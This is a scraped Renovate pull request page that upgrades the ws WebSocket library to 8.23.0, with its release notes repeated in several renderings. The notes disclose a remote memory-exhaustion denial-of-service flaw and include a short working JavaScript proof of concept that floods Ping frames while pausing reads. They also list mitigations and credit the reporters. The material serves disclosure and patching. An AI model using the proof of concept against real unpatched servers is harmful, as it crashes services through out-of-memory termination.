Introduced the maxPendingAutoPongs option (ace7248).
Bug fixes
Fixed a remote memory exhaustion DoS vulnerability (ace7248).
A malicious peer can flood the other peer with Ping frames while stopping reads,
forcing it to buffer Pong frames that are automatically sent in response until
memory is exhausted, leading to process termination due to OOM.
import{WebSocket,WebSocketServer}from'ws';constwss=newWebSocketServer({port:0},function(){constdata=Buffer.alloc(125);const{port}=wss.address();constws=newWebSocket(`ws://localhost:${port}`);ws.on('open',function(){ws.pause();(functionping(){ws.ping(data,function(err){if(err)return;ping();});})();});ws.on('error',console.error);ws.on('close',function(code,reason){console.log(`client close - code: ${code} reason: ${reason.toString()}`);});});wss.on('connection',function(ws){ws.on('error',console.error);ws.on('close',function(code,reason){console.log(`server close - code: ${code} reason: ${reason.toString()}`);});});
The vulnerability was responsibly disclosed by multiple reporters:
In vulnerable versions, the issue can be mitigated by enforcing rate-limiting
combined with heartbeats, or by setting the autoPong option to false, if
available.
Configuration
📅Schedule: (UTC)
Branch creation
At any time (no schedule defined)
Automerge
At any time (no schedule defined)
🚦Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕Ignore: Close this PR and you won't be reminded about this update again.
If you want to rebase/retry this PR, check this box
This PR contains the following updates:
| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [ws](https://github.com/websockets/ws) | [`8.22.2` → `8.23.0`](https://renovatebot.com/diffs/npm/ws/8.22.2/8.23.0) |  |  |
---
### Release Notes
<details>
<summary>websockets/ws (ws)</summary>
### [`v8.23.0`](https://github.com/websockets/ws/releases/tag/8.23.0)
[Compare Source](https://github.com/websockets/ws/compare/8.22.2...8.23.0)
### Features
- Introduced the `maxPendingAutoPongs` option ([`ace7248`](https://github.com/websockets/ws/commit/ace7248f)).
### Bug fixes
- Fixed a remote memory exhaustion DoS vulnerability ([`ace7248`](https://github.com/websockets/ws/commit/ace7248f)).
A malicious peer can flood the other peer with Ping frames while stopping reads,
forcing it to buffer Pong frames that are automatically sent in response until
memory is exhausted, leading to process termination due to OOM.
```js
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(125);
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
ws.pause();
(function ping() {
ws.ping(data, function (err) {
if (err) return;
ping();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
```
The vulnerability was responsibly disclosed by multiple reporters:
- [Younghun Ko](https://github.com/koyokr)
- [G0r4ni8](https://github.com/kigma00)
- [fizzbeom](https://github.com/fizzbeom)
- [Huynh Cong Hieu](https://github.com/Drakie14)
- [Joseph Devasia](https://github.com/josephdevasia1)
- [elba.code](https://github.com/apflffhtm)
- [Eshan Singh](https://github.com/R0X4R)
- [Zachariah Mithani](https://github.com/zachariah-mithani)
In vulnerable versions, the issue can be mitigated by enforcing rate-limiting
combined with heartbeats, or by setting the `autoPong` option to `false`, if
available.
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMzYuNCIsInVwZGF0ZWRJblZlciI6IjQ0LjIzNi40IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
This PR contains the following updates:
8.22.2→8.23.0Release Notes
websockets/ws (ws)
v8.23.0Compare Source
Features
maxPendingAutoPongsoption (ace7248).Bug fixes
ace7248).A malicious peer can flood the other peer with Ping frames while stopping reads,
forcing it to buffer Pong frames that are automatically sent in response until
memory is exhausted, leading to process termination due to OOM.
The vulnerability was responsibly disclosed by multiple reporters:
In vulnerable versions, the issue can be mitigated by enforcing rate-limiting
combined with heartbeats, or by setting the
autoPongoption tofalse, ifavailable.
Configuration
📅 Schedule: (UTC)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR has been generated by Mend Renovate CLI.